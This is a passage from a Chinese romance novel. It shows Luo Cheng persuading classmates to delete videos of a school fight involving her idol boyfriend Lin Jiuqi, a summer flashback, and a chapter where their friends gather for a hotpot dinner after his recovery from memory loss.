周围不少同学纷纷被这突如其来的冲突吸引,像是嗅到了血腥味的鲨鱼,纷纷拿出手机对准他们,想要记录下这劲爆的一幕。
洛澄见状,急忙挡在林久期前面,大声喊道:“不准拍!”
说完,她双手附在林久期的手臂上,小声提醒,“久期,松手。”
林久期看向洛澄,眼中的寒意瞬间消散,取而代之的是无尽的温柔。
见她满脸担忧的模样,他才缓缓松了手。
高个子见状,以为林久期怕了,像是被打了兴奋剂一般,得寸进尺,他身子向前,猛地用力撞了下林久期的肩膀。
林久期没站稳,当即往后退了一小步,手从身后的课桌上划过,又迅速反手撑在桌上,才勉强稳住身形。
洛澄再也忍不住了,猛地推了下高个子男生,愤怒地吼道:“你干什么?!”
教室里顿时吵吵闹闹,乱成了一锅粥,所有人都沉浸在这场激烈的冲突中,谁也没有注意到上课铃已然打响。
老师走进班时,看到几人还在面面相觑,旁边还围着一群看热闹的同学,不禁皱起了眉头。
老师走上
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讲台,拿起书本,重重地敲打了几下讲桌,严肃道:“上课了!”
那声音如同洪钟,在教室里回荡,所有人这才如梦初醒,匆匆回到各自的位子上。
洛澄这才注意到林久期的手掌心被锋利的桌沿划破了一道口子,鲜红的血正微微渗出。
她急忙从书包里翻出创可贴,小心翼翼地贴上去,贴好后,她又朝不远处高个子男生的方向怒瞪一眼。
林久期今天有重要的工作安排,下午的课上到一半,他就不得不先行离开。
这一整个下午,洛澄都坐立不安。
她心里清楚,林久期刚出道,这个时候如果传出些什么负面消息,那对他的事业来说,无疑是一场灾难。
于是,一下课,她就开始找班上所有的人。
“你刚才录视频了吗?”她拉住一个同学,急切地问道。
“我请你吃晚饭,你把视频删了好吗?”她又跑到另一个同学面前,几乎是在哀求。
“这个星期的作业我帮你写了,你把拍到的东西删了吧。”她满脸诚恳,希望能打动对方。
“拜托你了,把视频删了好吗,我可以帮你值日。”
“……”
她甚至许下各种承诺,只为了不让那些可能会伤害林久期的视频流出。
事后,洛澄那个学期异常的忙,经常为了帮同学做事,忙到凌晨了还没回宿舍
她在图书馆帮同学找资料,在教室里帮同学整理笔记,在宿舍里帮同学洗衣服……
这场闹剧下来,没有任何一张照片一段视频出现在网上。
至此以后,同学们每当提起洛澄这个人时,总会说上一句话。
“洛澄吗?她啊,喜欢林久期喜欢的不得了。”
-
2016年7月11日。
炽热的阳光洒在城市的每一个角落,空气中弥漫着夏日独有的燥热。
洛澄提着一袋子新鲜的水果,脚步轻快地在居民楼楼梯间往上走着,她嘴里哼着不成调的小曲儿。
“九七,你今天回来吗?”
电话里传来对方温和的嗓音,温温凉凉的,仿佛能驱散这夏日带来的酷暑炎热,“今天不行呢,这边还有工作。”
“啊……”洛澄的脚步顿了一下,脸上的笑容瞬间消失,沮丧地叹了口气,脱口而出,“你去海滨出差这么久吗,想你了。”
电话里有一瞬的沉默,随后是少年低低的笑声。
洛澄微喘着气,来到家门口掏出钥匙,嘴角又重新勾起一抹笑意:“你笑我?”
“我明天一定回来。”林久期认真地说。
洛澄隐约能听到电话那头有旁人说话的声音,旋即,他又说:“姌姌,我去忙了,明天见。”
“明天见。”
洛澄挂断电话,手机屏幕回到了主页面。她下意识看了眼日期。
她确信,明天她的生日,九七一定会回来,和往年一样,在她身边。
为了明天能以最好的状态迎接林久期,洛澄晚上十点不到就入睡了。
漆黑沉静的卧室里,只有她均匀的呼吸声。枕边的手机忽而亮起,打破了夜的宁静。
时间7月12日00:00。
弹出一条微信信息。
十八秒语音。
60. 第60章
盐城市的冬日,向来是湿冷而沉闷的,可这一天,太阳却格外赏脸,慷慨地倾洒着温暖的光芒,给这座城市披上了一层金色的薄纱。
洛澄身着一袭淡蓝色的家居裙,在洒满阳光的阳台上悉心浇花。
她的手指轻轻触碰着娇艳的花瓣,眉眼间尽是温柔。
林久期轻手轻脚地走到她身后,犹豫了一瞬,而后缓缓伸出双臂,将她紧紧拥入怀中。他把下巴搁在洛澄的肩头,轻声唤道:“姌姌。”
洛澄的动作顿了顿,脸上浮现出一抹笑意,正要转身回应,却听到林久期又低声说道:“这四年,对不起。”
她的手微微颤抖,眼眶也迅速湿润起来。她转过身,双手环住林久期的腰,将头埋进他的胸膛,声音带着一丝哽咽:“没关系,你回来了就好。”
两人相拥许久,谁都没有说话,只是静静地享受着这来之不易的宁静与温暖。
阳光洒在他们身上,勾勒出甜蜜的剪影,仿佛时间都为他们停止了。
洛澄抬起头,看着林久期的眼睛,嘴角微微上扬:“我想吃火锅了。”
林久期温柔地摸了摸她的头,宠溺道:“我去准备。”说着就要转身走向厨房。
洛澄连忙拉住他,眉头轻皱:“你才刚出院,医生说你不能过度劳累。”
林久期沉默片刻,像是在思考对策,随后拿出手机拨通了一则电话。
“黄谦,晚上来我这吃火锅。”
电话那头的人答应的果断,“行。”
林久期接着说道:“对了,买点菜来,家里没菜了。”
挂了线,见洛澄正盯着自己,他笑了笑,又打了通电话。电话隔了好一会儿才接通,慵懒的声音随之传出。
“喂?”
电话那头传来一个带着几分睡意的声音,显然对方正在休息。
“阿也,晚上来家里吃火锅。”林久期说道。
“嗯。”
“带点肉来,家里的不够了。”
“嗯。”
洛澄恍然,有样学样地也打了通电话。
“喂媛媛,今晚有空吗,来九七家吃火锅了,带点饮料来哦,忘记买了。”
洛澄说话的同时正对上林久期的目光,两人嘴角忍不住勾了勾。
林久期竖起拇指。
孺子可教也。
下午,朋友们陆陆续续来了。
范少杰是最先到的。
他推开门,大声喊道:“不是说吃火锅呢?怎么只有锅,菜呢?”
林久期一笑,不紧不慢地说道:“在路上。”
说曹操曹操到,黄谦提着两大袋的蔬菜进了门,他额头上微微沁出了汗珠,显然是一路走得有些匆忙。
餐桌连着客厅,他率先走去放下手中的东西,看着桌上只有一锅热水和几箱啤酒,他愣了几秒,又难以置信地回头望向客厅沙发处的三人,又指了指餐桌。
“这是什么火锅?清水煮豌豆尖?”
范少杰摊了摊手,也是一脸茫然,没搞懂林久期这是什么操作。
林久期正和洛澄百无聊赖地打着手柄游戏,随口回了句,“别急。”
沙发上的手机铃响,是郑巧儿打来的。
“洛澄姐,我到小区门口啦,往哪儿走?”
“帮我打下。”洛澄把手柄塞在黄谦手里,边打着电话边往外去,“你在门口等我,我来接你。”
等洛澄接上郑巧儿回来时,乔媛媛已经到了。
范少杰这才明白,林久期说是喊来吃火锅,结果是喊他们每个人带一样东西来。
他看到进来的郑巧儿,直接问。
“你带了什么?”
郑巧儿晃了晃手里的购物袋,“饮料。”
乔媛媛应了句:“啊?我也买了饮料。”
范少杰唉了声,“我的肉呢,该不会是檀冶买吧?他怎么还没来啊,大男人磨磨蹭蹭的,比女生还墨迹。”
他一边说着,一边看了看表,显得有些不耐烦。
“你别吃了。”
一道冰冷的声音从门口而来,檀冶那狭长阴鹜的眼瞳移在范少杰身上。
范少杰咽了咽口水,“黄谦说的,跟我没关系。”
黄谦立马撇清关系,“少赖我。”
檀冶懒得搭理,闲散地走向餐桌。
如旁人一样,看到桌上的东西也陷入了沉思,须臾,他冷峻的眸子瞥向几人,“你们是打算温水煮青蛙吗?”
他脱下外套随手扔在沙发上,一屁股坐下,那双无处安放的长腿在茶几和沙发的空隙中似乎有点憋屈。他干脆身形一转,侧躺在单人沙发上,双腿搭在沙发侧边的扶手上,轻晃着。
范少杰没懂檀冶的意思,他起身去餐桌看,发现琳琅满目的桌上,少了最关键的一样东西。
火锅底料。
“久期,你该不会是想让我们吃清水火锅吧?”
林久期莞尔一笑,“吃清淡点,不好吗?
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“好你……”
范少杰差点脱口而出的脏话止住了,作为明星的基本素质他还是有的。
范少杰饿得有些受不了了,起身提着食材进了厨房,“清水就清水吧。”
林久期看了一眼,随着厨房门的关闭,他并没阻止。
过了半晌。
“不好意思期哥,我来晚了。”别墅大门没关,刘俊气喘吁吁地跑进来,他跑得满脸通红。
不等他歇息,乔媛媛和黄谦异口同声,“你买了什么?”
刘俊有一瞬间的懵,回过神来连忙从口袋里拿出,“我,我买了,火锅底料。”
乔媛媛近乎尖叫出声,腾的一下从位置上跳起来,从他手里夺过火锅底料,冲进厨房。
范少杰在里面整起锅烧水,被闯进来的人登时吓了一跳。
乔媛媛:“别弄了别弄了,东西来了!”
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一楼客厅里,灯火通明。朋友们围坐在一起,欢声笑语不断。
碰杯的脆响、玩游戏时的欢呼和偶尔的打趣声交织在一起,洋溢着浓浓的烟火气,让这寒冷的冬夜也变得温暖起来。
而二楼的阳台,在月光的轻抚下,宁静而清幽。洛澄身着一袭简约的长裙,在微凉的夜风中,发丝轻轻飘动。
她静静地伫立在那里,望着远方朦胧的夜色,周身散发着柔和的气息。
她听到身后传来逐渐清晰的脚步声,不用回头,她也知道,是那个心心念念的人来了。
她轻声呢喃:“是大大的房子。”
林久期缓缓走到她身旁,他的眼神里满是温柔与眷恋,月光洒在他的身上,勾勒出他挺拔的轮廓。他接过她的话,声音低沉而深情:“推开门,能看见漂亮的湖泊。”
说罢,他微微低下头,目光与洛澄交汇,四目相对,眼中仿佛只有彼此的身影。
他的眼神里满是坚定,认真地说道:“即使失去记忆,我还是会爱上你。一次,两次,无论再失忆多少次,我的心总会比我先认出你。”
洛澄心中一暖,她伸手轻轻挽住林久期的胳膊,将头轻轻靠在他的肩上,依偎在他身旁,像是找到了最温暖的避风港。
她的声音轻柔:“如果你再失忆,我还是会像这次一样,奋不顾身地来到你身边。”
林久期轻轻握住她的手,十指相扣,他的声音里带着不容置疑的深情:“那我也会像现在这样,”
“始终如一地沉沦你。”